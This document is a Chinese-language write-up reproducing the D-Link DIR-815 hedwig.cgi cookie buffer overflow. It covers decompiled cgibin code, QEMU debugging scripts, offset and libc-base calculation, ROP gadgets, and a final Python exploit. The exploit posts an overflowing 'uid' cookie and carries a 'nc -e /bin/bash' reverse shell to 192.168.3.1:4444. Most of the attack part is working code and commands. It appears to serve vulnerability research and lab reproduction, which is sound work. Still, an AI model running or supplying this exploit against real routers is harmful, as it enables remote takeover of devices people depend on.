漏洞分析D-Link DIR-815

参考链接:

https://www.exploit-db.com/exploits/33863

http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt

环境请使用ubuntu16,换上清华apt源https://mirror.tuna.tsinghua.edu.cn/help/ubuntu/

如果使用github上给的方式下载binwalk,记得得加上参数 -1,否则有的环境没有给你软链接

Untitled

可以看到在hedwig.cgi中存在cookie头的缓冲区溢出

Untitled

然后可以看到软链接到了cgibin文件中,漏洞点就在cgibin。

ida7.6打开cgibin进行静态调试寻找字符串cookie

Untitled

http_cookie所在的函数int __fastcall sess_get_uid(int a1)

Untitled

快捷键x找到引用该函数的地方

Untitled

可以看到hedwigcgi_main存在危险函数sprintf

Untitled

hedwigcgi_main函数通过sess_get_uid()函数获取http_cookie的值

Untitled

因为可以看到这里没有限制输入大小,所以在sprintf处栈溢出了。

分析代码

测试了idapro7.6和ghidra的mips反汇编,发现还是ida7.6给的看起来舒服一点

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall sobj_strcmp(int a1, const char *a2)
{
const char *v3; // $a0

if ( !a1 )
return -1;
v3 = *(const char **)(a1 + 20); // string存放位置a1+20
if ( !v3 )
v3 = "";
return strcmp(v3, a2);
}
// 若a1+20=a2,则返回零;若a1+20<a2,则返回负数;若a1+20>a2,则返回正数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
_DWORD *sobj_new()
{
_DWORD *result; // $v0

result = malloc(0x18u);
if ( result )
{
result[2] = 0;
result[3] = 0;
result[4] = 0;
result[5] = 0;
result[1] = result; // result[1]存放堆的首地址
*result = result; // result[0]存放堆的首地址
}
return result;
}
// 分配一个堆,返回地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall sobj_free(_DWORD *a1)
{
int result; // $v0
void *v3; // $a0

result = -1;
if ( a1 )
{
v3 = (void *)a1[5];
if ( v3 )
free(v3);
a1[2] = 0;
a1[5] = 0;
a1[3] = 0;
a1[4] = 0;
return 0;
}
return result;
}
// free
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall sobj_add_char(_DWORD *a1, char a2)
{
int v4; // $v1
int v5; // $v0

if ( !a1 || a1[3] == a1[4] && sub_40E864() < 0 )
return -1;
v4 = a1[4]; // a1[4]存放了字符串的长度
*(_BYTE *)(a1[5] + v4) = a2; // a1[5]指向字符串
v5 = a1[5];
a1[4] = v4 + 1;
*(_BYTE *)(v5 + v4 + 1) = 0; // 字符串末尾
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
char *__fastcall sobj_get_string(int a1)
{
int v1; // $v1

v1 = 0;
if ( a1 )
{
v1 = *(_DWORD *)(a1 + 20); // 读取string,上个函数能看到字符串的偏移就是a1+20
if ( !v1 )
return "";
}
return (char *)v1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int __fastcall sess_get_uid(int a1)
{
int cookie_uid; // $s2
char *save_http_cookie; // $v0
int cookie_value; // $s3
char *save_http_cookie2; // $s4
int state; // $s1
int current_char; // $s0
int v8; // $v0
int result; // $v0

cookie_uid = sobj_new();
cookie_value = sobj_new();
save_http_cookie = getenv("HTTP_COOKIE");
if ( !cookie_uid )
goto LABEL_quit_remote;
if ( !cookie_value )
goto LABEL_quit_remote;
save_http_cookie2 = save_http_cookie;
if ( !save_http_cookie )
goto LABEL_quit_remote;
state = 0;
while ( 1 )
{
current_char = *save_http_cookie2; // 判断当前的cookie字符
if ( !*save_http_cookie2 ) // cookie没有值就跳出
break;
if ( state == 1 )
goto LABEL_test_string;
if ( state < 2 )
{
if ( current_char == ' ' ) // 是空格就跳下一次循环
goto LABEL_nextwhile;
sobj_free(cookie_uid);
sobj_free(cookie_value);
LABEL_test_string:
if ( current_char == ';' ) // 分号
{
state = 0; // 字符状态是;
}
else
{
state = 2; // 字符状态是=
if ( current_char != '=' ) // =号
{
sobj_add_char(cookie_uid, current_char);
state = 1; // 字符状态是字符
}
}
goto LABEL_nextwhile;
}
if ( state == 2 )
{
if ( current_char == ';' )
{
state = 3;
goto LABEL_nextwhile;
}
sobj_add_char(cookie_value, *save_http_cookie2++);
}
else
{
state = 0;
if ( !sobj_strcmp(cookie_uid, "uid") )
goto LABEL_21;
LABEL_nextwhile:
++save_http_cookie2;
}
}
if ( !sobj_strcmp(cookie_uid, "uid") )
{
LABEL_21:
v8 = ((int (__fastcall *)(int))sobj_get_string)(cookie_value);
goto LABEL_quit;
}
LABEL_quit_remote:
v8 = ((int (__fastcall *)(const char *))getenv)("REMOTE_ADDR");
LABEL_quit:
result = sobj_add_string(a1, v8);
if ( cookie_uid )
result = sobj_del(cookie_uid);
if ( cookie_value )
return sobj_del(cookie_value);
return result;
}

函数会返回一个uid=value的数据,由于没有检测value的值,所以我们可以无限放大value,使其溢出。

动态调试

动态调试的脚本

1
2
3
4
5
6
7
#/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="1234"
cp $(which qemu-mipsel-static) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu

把填充物放到test文件里

Untitled

hedwigcgi_main函数的返回地址,判断偏移是1043

Untitled

Untitled

但是在实际分析之后,会发现后面还有一个sprintf 实际漏洞应该在此处,此处会覆盖掉上一次的

分析反汇编其需要一个文件,我们把/var/tmp目录给它建出来,因为就算你写了文件,它w也会给你擦掉。

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
# test2.sh
# sudo ./test2.sh "uid=1234" `python -c "print 'uid=' + open('test','r').read()"`

INPUT="$1"
COOKIE="$2"
PORT="1234"
LEN=$(echo -n "$INPUT" | wc -c)
cp $(which qemu-mipsel-static) ./qemu

echo $INPUT | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi
rm -f ./qemu

Untitled

同样的方法计算第二个偏移是1009

网上都是用vmmap找的基址,但是我一直出问题不显示,所以换个思路

怎么查找程序依赖的库呢

objdump

1
# 查看依赖的库objdump -x xxx.so | grep NEEDED# 查看可执行程序依赖的库objdump -x ./testTime | grep NEEDED

readelf

1
# 查看依赖的库readelf -a xxx.so | grep "Shared"# 查看可执行程序依赖的库readelf -a ./testTime | grep "Shared"

因为本人的环境各种崩溃,所以就按照我自己的思路来了(

首先先给两个sprintf设置上断点,然后第一次的时候sprintf会延迟绑定,第二次就能在t9看到地址,然后减掉偏移,就是基址。

Untitled

查看链接库

Untitled

Untitled

1
2
3
4
5
6
from pwn import *
context.arch = "mips"
context.endian = "little"
libc = ELF("./lib/libuClibc-0.9.30.1.so")
sprintf_addr = libc.symbols['sprintf']
success("sprintf address: 0x%x" , sprintf_addr)

Untitled

得到基址

Untitled

同种方式得到system地址0x53200,为了避开坏字符00,我们把system-1,后面找个gadget+1即可

先找个放system参数的a0

Untitled

Untitled

var_160=-0x160

sp+0x10就是system的参数,s0是system地址

Untitled

hedwigcgi_main结尾可以看到我们可以控制的寄存器

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.arch = "mips"
context.endian = "little"
libc = ELF("./lib/libuClibc-0.9.30.1.so")
base_addr = 0x7f738000
system_addr = 0x53200-1
gadget1 = 0x158C8 # addiu $s0,1 | jalr $s5
gadget2 = 0x159cc
padding = 'A' * 0x3cd
padding += p32(base_addr + system_addr) # s0
padding += 'A' * 4 # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += p32(base_addr + gadget2) # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += '/bin/sh'
f = open("exploit",'wb+')
f.write(padding)
f.close()

qemu system可以直接用下面的

https://github.com/richardxzh/qemustart

在 squashfs-root 中写配置文件 conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}


Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #对应qemu虚拟机的网卡
Address 192.168.3.2 #对于qemu虚拟机IP
Port "1234" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

执行指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
/httpd -f /conf

然后通过curl http://192.168.3.2:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -b "uid=zh" 可以验证web服务是否正确启动

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13

#关闭地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space
#正常路由环境和 MIPS 虚拟机中为了程序运行速度会取消canary,地址随机化等保护机制


export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=1234"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
#下面的多试几次
/htdocs/web/hedwig.cgi & cat /proc/pid/maps

Untitled

因为libc.so.0指向libuClibc-0.9.30.1.so 所以基址是0x77f34000。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import requests
import sys
context.arch = "mips"
context.endian = "little"
base_addr = 0x77f34000
system_addr = 0x53200-1
gadget1 = 0x158C8 # addiu $s0,1 | jalr $s5
gadget2 = 0x159cc
padding = 'A' * 0x3cd
padding += p32(base_addr + system_addr) # s0
padding += 'A' * 4 # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += p32(base_addr + gadget2) # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += "nc -e /bin/bash 192.168.3.1 4444"

cookie="uid="+padding
header = {
'Cookie': cookie,
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'x': 'x'}
ip_port = sys.argv[1]
url = "http://" + ip_port + "/hedwig.cgi"
r = requests.post(url=url, headers=header, data=data)
print(r.text)

拿到shell

Untitled